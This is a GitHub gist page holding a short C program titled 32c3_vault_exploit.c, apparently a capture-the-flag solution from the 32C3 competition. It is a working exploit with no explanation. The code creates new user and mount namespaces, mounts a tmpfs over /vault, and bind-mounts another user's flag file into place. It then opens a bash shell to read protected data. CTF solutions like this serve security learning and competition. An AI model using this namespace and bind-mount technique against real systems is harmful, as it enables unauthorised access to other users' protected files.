Skip to content

Instantly share code, notes, and snippets.

@0xBADCA7
Forked from stephenR/doit.sh
Created December 30, 2015 09:26
Show Gist options
  • Save 0xBADCA7/0db8fe632dee2587502e to your computer and use it in GitHub Desktop.
Save 0xBADCA7/0db8fe632dee2587502e to your computer and use it in GitHub Desktop.
32c3_vault_exploit.c
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/mount.h>
int main(int argc, char *argv[])
{
if(unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
perror("unshare");
return 1;
}
if(mount("none", "/vault", "tmpfs", 0, 0) != 0) {
perror("mount");
return 1;
}
if(creat("/vault/flag", 0777) < 0){
perror("creat");
return 1;
}
if(mount("/home/adam/flag", "/vault/flag", "none", MS_BIND, 0) != 0) {
perror("mount bind");
return 1;
}
system("/bin/bash");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment